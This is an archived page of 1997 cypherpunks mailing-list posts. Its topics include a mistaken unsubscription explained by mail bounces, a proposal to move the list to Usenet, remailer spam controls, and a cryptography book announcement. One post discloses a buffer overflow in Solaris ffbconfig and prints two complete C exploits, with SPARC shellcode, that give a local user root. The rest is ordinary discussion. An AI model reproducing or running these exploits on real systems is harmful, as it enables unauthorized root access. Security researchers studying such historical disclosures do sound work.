- cypherpunks-legacy - lists.cpunks.org

this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped.

1 0

Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 04:42 PM 2/10/97 -0800, John Gilmore wrote: >Sean Roach said: >> As of sometime in the last 96 hours I have been forcefully unsubscribed from >> this list. This action was not of my free will and not one that I think was >> perpretrated by those in charge of the list. > >Everybody relax, take a deep breath, and calm down a bit. Paranoia seems >epidemic on the list these days. > >I removed your address from the mailing list because it was producing >a bounce message for every message to cypherpunks. I regularly >remove addresses when this occurs; the alternative is to receive >thousands of bounce messages each day from non-working addresses. >I'll append the set of addresses that I removed on the same day >as you, for your edification. > Thank you for the explanation. I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with.

1 0

Proposal: alt.cypherpunks (unmoderated)
by gbroiles＠netbox.com 17 Dec '03

17 Dec '03

[This is a courtesy copy of an article posted to Usenet via Deja News] Some people, including myself, believe that the Cypherpunks mailing list (cypherpunks(a)toad.com) running since sometime in 1992, has outgrown the mailing list format and should move to Usenet. The advantages once gained by running as a mailing list (faster propagation, more personal/intimate atmosphere, freedom from Usenet-style flames & spams) are no longer present. Questions about the appropriateness of moderation, moderator liability for various "bad" kinds of messages, and the potential for content control where there is a single point for distribution have become very prominent concerns among list members. It's time to move to Usenet. Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks is unsatisfactory to become a destination for Usenet-originated cypherpunk traffic because its name implies that it's a gateway from a mailing list. This is presently true, but this proposal is intended to create a newsgroup which supplements or replaces the current mailing list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, who's in charge of it, or what "jyu.ohjelmointi" is or stands for. Judging from the limited selection of messages which seem to reach DejaNews and AltaVista from it, it suffers from relatively poor propagation. The cypherpunks mailing list currently has approximately 1300 subscribers, sees traffic between 30 and 70 messages per day (est.), and on its better days discusses technological defenses for privacy in an information age. Popular topics include encryption, legal issues around encryption and export control, and the relationship between technology and social control. A sample line for the newsgroups file: alt.cypherpunks Technological defenses for privacy -------------------==== Posted via Deja News ====----------------------- http://www.dejanews.com/ Search, Read, Post to Usenet

1 0

Re: lead remailer is shut down
by Bill Stewart 17 Dec '03

17 Dec '03

At 11:58 AM 2/7/97 -0800, Ed Falk wrote: >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Most remailers have some basic spam safeguards, typically how many messages per day or per session or whatever. They also implement blocking on specific source or destinations, which makes it easier to stop known spam sources and reduce hassle for people who don't want to be spammed. Limited number of posts per source or per destination are less useful, since people use chained remailers - most messages will have a remailer as either the source, destination, or both, so it's fairly common to have lots of messages from one source. Mass crossposts aren't all that bad; if you're running a decent newsreader you'll only see that kind of spam once. The bad ones are multiple identical or nearly-identical messages posted to one or a few newsgroups each, which are harder to detect and much more annoying to the reader. On the other hand, NoCeMs can catch them, if anybody's sending and using them. I don't know how many people have the capability to block on Subject: or message content; I remember getting bouncemails for things that had variants on M AK E M O N E Y F A S T in them, so there are or were other remailers that block those. It's hard to find a good definition of spam, and hard to implement it without keeping lots of extra records you'd probably rather not keep, and spammers who are willing to do work can find out your limits, especially if they're in a policy document somewhere, and evade them, sending as much through each remailer as fits under the radar. Fortunately, most spammers don't bother. Back when I was running a remailer, it was a modified Ghio2 version; I'd fixed some bugs in it, and took the spam detector behavior from highly rude (shutting itself down quietly) to mildly rude (shutting itself down noisily); the basic model was to stop entirely under big spam attacks and let a human fix it up, rather than trying to resolve them subtlely, which is more appropriate for small spamming. The advantage of this approach is that you don't have mysterious message losses; it's all or nothing. (Well, you still get some mysterious losses, but mostly from bugs or interactions with other types of remailers.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo(a)math.pub.ro or skipo(a)ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP"

1 0

Nothing Can Stop the Net
by Duncan Frissell 17 Dec '03

17 Dec '03

Mule Power Used to Install Fiber-Optic Cable February 10, 1997 11.54 a.m. (1654 GMT) SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could get over or around the rugged terrain confronting electricians trying to install fiber optic cable through the Ozarks. So they shifted their sights from high-tech to low-tech and hired Festus, Jake, Red and I.B. -- four Missouri mules -- to string 40 miles of cable through southwestern Missouri. "Today's thought is `fast and done quick and make the big money,"' said mule skinner James King, who works the mules for B&L Electrical Contractors. "A lot of people have forgot the fastest way to get through the country is on a mule or a horse." Even through city traffic, the mules are getting the job done. The idea first came about when Empire District Electric Co. was looking for contractors to install fiber optic cable. The cable was to run along the path of a power line strung in 1912. More than 80 years later, it was deemed inaccessible to vehicles in most places because of steep hills, trees or other impediments, such as chain-link fences. B&L submitted a bid based on doing the work with mules. The estimate was tricky since the company had never used mules. And if they couldn't do the job, a backup plan would have cost much more. "This is extremely rugged terrain. You couldn't get any motorized vehicles in there," said Clint Lam, manager of B&L. "You could build a road through there, but cost-wise, it would be so expensive." Empire didn't know the estimate was based on mule power. But when they learned of the idea, it seemed logical, said Darrell Wilson, Empire's telecommunications foreman. He told colleagues at a recent training seminar about the mules' success. "Everybody thought I was joking," Wilson said. "They thought I meant an ATV, some mechanical 4-wheel drive. They didn't really think it was a four-legged animal. They were a little surprised when I said, `No, I mean a real mule."' The mule skinners hook one end of the cable to an overhead pole and knot the other end to a mule's saddle. Then the animal pulls. All-terrain vehicles are prone to tipping on uneven surfaces, while mules are sure-footed and can jump creeks or chain-link fences. In fact, they worked so well in the rough stuff, they were kept on even when the line reached Springfield, the state's third-largest metropolitan area. "I think we're going to try to vote in a new position in our contract for mule skinner," crew foreman John Agee joked. Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor and an expert on mules, was not surprised to learn of the mules' success. "The mule will go places, over banks and rough terrain and stand up and be able to pull that cable through where horses will have trouble," he said. Festus, at 1,250 pounds the largest of the crew, drew curious glances from motorists as he and skinner King recently hauled cable through exhaust-stained snowbanks near a busy city intersection. Festus wasn't fazed, though he was a bit trailer-sick from the 30-mile commute from Galena. "This is his first day on the job," the hard-hatted King said from the saddle where he wraps the rope or cable being pulled by the mule. Festus can tow up to 14,000 feet of cable, a load weighing more than 1 ton. Some people who saw the mules at work didn't know exactly what they were, which King found remarkable. After all, mules were made Missouri's state animal in 1995. "`Look, ma -- it's a horse!"' King said, mimicking what he's heard from children passing the work crew. "It's a good old Missouri mule."

1 0

Teledesic Looks At SS-18's
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: investor(a)LunaCity.com To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> From: Michael_Wallis(a)sec.sel.sony.com Reply-To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> Date: Mon, 10 Feb 1997 11:59:44 -0800 Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA Subject: Teledesic Looks At SS-18's X-Mailserver: Waffle File Server (WFS), Release 3.2.ag X-Article: 285 Teledesic Might Launch With Converted SS-18s Teledesic Corp. is talking with a newly formed Russian-Ukrainian group about launching up to 204 Teledesic satellites into low Earth orbit aboard converted SS-18 missiles. The Dnepr rocket is backed by the Russian and Ukrainian governments. Their space agencies are partners in a joint-venture company to sell commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye State Design Bureau are marketing the Dnepr. Teledesic, a U.S. telecommunications company, plans to place about 900 satellites in space. Michael ------------------------------------------------------------------------- Michael Wallis, Computer Consultant Work: mwallis(a)sec.sel.sony.com http: //www.wallis.com/ Home: mwallis(a)wallis.com --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

Re: this has gone on long enough
by John Gilmore 17 Dec '03

17 Dec '03

Sean Roach said: > As of sometime in the last 96 hours I have been forcefully unsubscribed from > this list. This action was not of my free will and not one that I think was > perpretrated by those in charge of the list. Everybody relax, take a deep breath, and calm down a bit. Paranoia seems epidemic on the list these days. I removed your address from the mailing list because it was producing a bounce message for every message to cypherpunks. I regularly remove addresses when this occurs; the alternative is to receive thousands of bounce messages each day from non-working addresses. I'll append the set of addresses that I removed on the same day as you, for your edification. I'll also enclose one of the bounces. If you fix your mail so it doesn't bounce, you are welcome to re-subscribe. John Gilmore 1997/2/9 - gnu - bounces snowdog(a)iconn.net (cp-ann) se03565(a)els.url.es (cp-ann) drjarmon(a)ingr.com (cp-ann) ycz(a)alpha4.cs.nthu.edu.tw yu123110(a)yorku.ca bishop.trish(a)sympatico.ca 106076.1155(a)compuserve.com (by request) security(a)harter.pg.md.us omega(a)bigeasy.com roach_s(a)alph.swosu.edu (cp-unedited) lupus(a)hempseed.com (cp-ann) THRPWC(a)smtpgate.lfwc.lockheed.com al.tan(a)usa.net vickeryk(a)tyrell.net crash(a)eramp.net phreaker(a)scholars.bellevue.edu alexc(a)firefly.net malaficia(a)mindspring.com BadAppleDH(a)aol.com otsge_mail(a)usa.net (for bounces re mecca_inc(a)msn.se) under(a)ground.net >From MAILER-DAEMON Sun Feb 9 20:03:36 1997 Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST) Message-Id: <199702100403.UAA17045(a)toad.com> Date: Sun, 9 Feb 1997 22:03:48 -0600 (CST) From: Postmaster(a)alph.swosu.edu Subject: Undeliverable Mail To: <cypherpunks-errors(a)toad.com> Bad address -- <roach_s> Error -- Message too old: %MAIL-E-SENDERR, error sending to user ROACH_S -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI -RMS-E-EXT, ACP file extend failed -SYSTEM-F-EXDISKQUOTA, disk quota exceeded -PLI-F-NOMSG, Message number 001EBB8C Start of returned message Received: from toad.com by alph.swosu.edu with SMTP; Sun, 9 Feb 1997 18:03:43 -0600 (CST) Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST) Received: from mail.pacifier.com (root(a)mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST) Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250]) by mail.pacifier.com (8.8.5/8.8.4) with SMTP id PAA12294 for <cypherpunks(a)toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST) Message-Id: <199702092355.PAA12294(a)mail.pacifier.com> X-Sender: jimbell(a)mail.pacifier.com X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 09 Feb 1997 15:53:43 -0800 To: cypherpunks(a)toad.com From: jim bell <jimbell(a)pacifier.com> Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Sender: owner-cypherpunks(a)toad.com Precedence: bulk I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." ...

1 0

No Subject
by HEROES 17 Dec '03

17 Dec '03

From: "Curt Denny" <adr016(a)clc.cc.il.us> The heaviest element known to science was recently discovered by GM Research physicists. The element, tentatively named Administratium, has no protons or electrons and thus has an atomic number of zero. However, it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and 111 assistant vice neutrons. This gives it an atomic number of 312. These particles are held together by a force that involves the continuous exchange of meson-like particles known as morons. Since it has no electrons, Administratium is inert. However, it can be detected chemically because it impedes every reaction it comes in contact with. According to the discoverers, a minute amount of Administratium caused one reaction to take four days to complete when it would have normally occurred in less than one second. Administratium has a normal half-life of approximately three years, at which time it does not actually decay, but instead undergoes a reorganization in which assistant neutrons exchange places. Some studies have shown that the atomic mass actually increases after each organization. Research at other laboratories indicates that Administratium occurs naturally in the atmosphere. It tends to concentrate at certain points such as government agencies, large corporations and universities, and can usually be found in the newest, best appointed and best maintained buildings. Scientists point out that Administratium is known to be toxic at any detectable level of concentratitroy any productive reaction where it is allowed to accumulate. Attempts are being made to determine how Administratium can be controlled to prevent irreversible damage, but results to date are not promising. Check us out at: http://www.clc.cc.il.us "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!" Curtis L. Denny College of Lake County Director of Admission and Records 19351 West Washington Street Grayslake, IL 60030-1198 Phone: (847) 223-6601, Ext. 2384 Fax: (847) 223-1017 E-Mail: CurtDenny(a)clc.cc.il.us ---2143972336-1320482045-855671591=:18392--

1 0

[CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
by Brian D Williams 17 Dec '03

17 Dec '03

FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute. reposted from cryptography(a)c2.org Brian

1 0